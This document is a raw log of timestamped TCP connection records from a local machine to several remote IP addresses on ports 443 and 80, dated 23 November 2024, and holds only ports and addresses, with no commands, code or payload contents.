Nov 23, 2024 01:14:17.641302109 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.641316891 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.641349077 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.641370058 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.662399054 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.662422895 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.662468910 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.662486076 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.662516117 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.662538052 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.781128883 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.781152010 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.781235933 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.781269073 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.781332970 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.796739101 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.796760082 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.796798944 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.796812057 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.796839952 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.796880007 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.809674025 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.809694052 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.809772968 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.809792042 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.809890032 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.824683905 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.824703932 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.824774027 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.824791908 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.824836016 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.839555979 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.839574099 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.839695930 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.839696884 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.839718103 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.839791059 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.853462934 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.853482008 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.853558064 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.853574991 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.853657007 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.859839916 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.859905005 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.859918118 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.859940052 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.859978914 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.860002041 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.984983921 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.984992981 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:18.790436983 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:18.790493965 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:18.790733099 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:18.929220915 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:18.929250956 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:19.245198965 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.245224953 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:19.245305061 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.246246099 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.246308088 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:19.246397972 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.317795038 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.317811966 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:19.319156885 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.319188118 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:19.352802992 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.352814913 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:19.352878094 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.355948925 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.355990887 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:19.356045008 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.373492002 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.373505116 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:19.380883932 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:19.380903006 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:20.642296076 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:20.750252008 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:20.775860071 CET	49750	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:20.775885105 CET	443	49750	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:20.775949001 CET	49750	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:20.776912928 CET	49751	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:20.777025938 CET	443	49751	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:20.777096033 CET	49751	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:20.777358055 CET	49750	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:20.777370930 CET	443	49750	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:20.777654886 CET	49751	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:20.777682066 CET	443	49751	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:20.820477962 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:20.820492029 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:20.822385073 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:20.822390079 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.033833027 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.062122107 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.062144995 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.063422918 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.063427925 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.103068113 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.113754988 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.113769054 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.114439964 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.114444017 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.158508062 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.158529997 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.158631086 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.158639908 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.158684969 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.158798933 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.164751053 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.164802074 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.164880991 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.215667009 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.215683937 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.215694904 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.215698957 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.216135025 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.227066994 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.227082014 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.227792978 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.227797985 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.228374004 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.228398085 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.228806973 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.228812933 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.239715099 CET	49753	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.239727020 CET	443	49753	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.239787102 CET	49753	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.240262985 CET	49753	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.240274906 CET	443	49753	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.472810984 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.472831964 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.472881079 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.472902060 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.472946882 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.477925062 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.477984905 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.478023052 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.495302916 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.495302916 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.495327950 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.495337009 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.545610905 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.545800924 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.545871973 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.585206985 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.585216999 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.585228920 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.585235119 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.602545023 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.602574110 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.602608919 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.602634907 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.603229046 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.603276968 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.605479956 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.605508089 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.605518103 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.605523109 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.616787910 CET	49754	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.616810083 CET	443	49754	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.616892099 CET	49754	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.618283987 CET	49755	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.618299961 CET	443	49755	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.618360996 CET	49755	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.620382071 CET	49754	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.620392084 CET	443	49754	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.620515108 CET	49755	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.620529890 CET	443	49755	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.625504971 CET	49756	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.625526905 CET	443	49756	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.625591993 CET	49756	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.625749111 CET	49756	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.625762939 CET	443	49756	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.645785093 CET	80	49728	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:21.645837069 CET	49728	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:21.650223017 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.650312901 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.650362015 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.657594919 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.657598972 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.657618046 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.657627106 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.735546112 CET	49757	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.735647917 CET	443	49757	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:21.735733986 CET	49757	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.737678051 CET	49757	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:21.737709999 CET	443	49757	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:22.008604050 CET	49728	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:22.008841038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:22.128091097 CET	80	49728	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:22.128303051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:22.128384113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:22.128767014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:22.128793955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:22.154850006 CET	49764	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:22.154869080 CET	443	49764	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:22.154927969 CET	49764	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:22.157136917 CET	49764	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:22.157150984 CET	443	49764	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:22.248209000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:22.248219013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:22.248394012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:22.248437881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:22.523606062 CET	443	49751	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:22.533346891 CET	443	49750	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:22.563419104 CET	49750	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:22.563431025 CET	443	49750	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:22.563642025 CET	49751	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:22.563710928 CET	443	49751	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:22.567094088 CET	443	49750	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:22.567203045 CET	49750	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:22.567600012 CET	443	49751	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:22.567682981 CET	49751	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:22.575922012 CET	49751	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:22.575954914 CET	49750	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:22.576071978 CET	49751	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:22.576181889 CET	443	49750	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:22.576318026 CET	443	49751	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:22.661819935 CET	49750	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:22.661828995 CET	443	49750	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:22.768569946 CET	49751	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:22.768657923 CET	443	49751	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:22.854703903 CET	49750	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:22.869195938 CET	49751	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:22.954054117 CET	443	49753	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.022258997 CET	443	49751	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:23.022484064 CET	443	49751	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:23.022556067 CET	49751	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:23.031243086 CET	49753	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.031260014 CET	443	49753	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.033143997 CET	49753	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.033149958 CET	443	49753	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.200699091 CET	49751	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:23.200762987 CET	443	49751	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:23.335205078 CET	443	49755	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.387727022 CET	443	49753	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.387785912 CET	443	49753	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.387851000 CET	49753	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.404587030 CET	443	49754	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.405136108 CET	443	49756	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.457048893 CET	49755	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.457185030 CET	49756	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.467051983 CET	443	49757	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.527091980 CET	49757	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.527154922 CET	443	49757	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.527560949 CET	49757	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.527578115 CET	443	49757	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.527828932 CET	49756	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.527837038 CET	443	49756	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.528197050 CET	49756	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.528203011 CET	443	49756	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.528522968 CET	49754	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.528551102 CET	443	49754	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.528879881 CET	49754	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.528886080 CET	443	49754	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.529073954 CET	49755	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.529078007 CET	443	49755	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.529411077 CET	49755	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.529422998 CET	443	49755	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.529923916 CET	49753	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.529930115 CET	443	49753	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.529938936 CET	49753	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.529942989 CET	443	49753	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.641150951 CET	49767	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.641196012 CET	443	49767	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.641263962 CET	49767	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.655464888 CET	49767	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.655491114 CET	443	49767	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.850585938 CET	443	49755	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.850653887 CET	443	49755	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.850713968 CET	49755	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.850920916 CET	49755	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.850934982 CET	443	49755	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.850944042 CET	49755	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.850949049 CET	443	49755	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.853702068 CET	443	49754	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.853856087 CET	443	49754	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.853908062 CET	49754	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.854249001 CET	49754	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.854263067 CET	443	49754	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.854273081 CET	49754	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.854276896 CET	443	49754	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.854335070 CET	443	49756	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.854393959 CET	443	49756	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.854434967 CET	49756	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.854594946 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.854608059 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.854665041 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.854887009 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.854899883 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.856985092 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.856998920 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.857053041 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.857124090 CET	49756	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.857130051 CET	443	49756	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.857140064 CET	49756	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.857144117 CET	443	49756	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.863853931 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.863867998 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.866637945 CET	49771	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.866647959 CET	443	49771	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.866709948 CET	49771	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.866918087 CET	49771	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.866930008 CET	443	49771	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.900372982 CET	443	49757	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.900537014 CET	443	49757	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.900620937 CET	49757	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.900763035 CET	49757	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.900810957 CET	443	49757	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.900839090 CET	49757	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.900855064 CET	443	49757	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.905865908 CET	49772	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.905877113 CET	443	49772	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:23.905940056 CET	49772	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.906105042 CET	49772	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:23.906115055 CET	443	49772	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:24.027400017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:24.027482033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:24.066555977 CET	49774	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.066600084 CET	443	49774	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.066695929 CET	49774	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.067272902 CET	49775	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.067318916 CET	443	49775	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:24.067379951 CET	49775	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.067617893 CET	49776	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.067635059 CET	443	49776	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.067698956 CET	49776	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.067858934 CET	49775	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.067872047 CET	443	49775	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:24.068361998 CET	49774	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.068377018 CET	443	49774	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.068690062 CET	49776	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.068701982 CET	443	49776	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.073339939 CET	443	49764	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:24.073415041 CET	49764	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:24.312203884 CET	49764	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:24.312228918 CET	443	49764	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:24.313230991 CET	443	49764	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:24.317539930 CET	49764	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:24.317742109 CET	49764	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:24.317802906 CET	443	49764	40.126.53.13	192.168.2.5
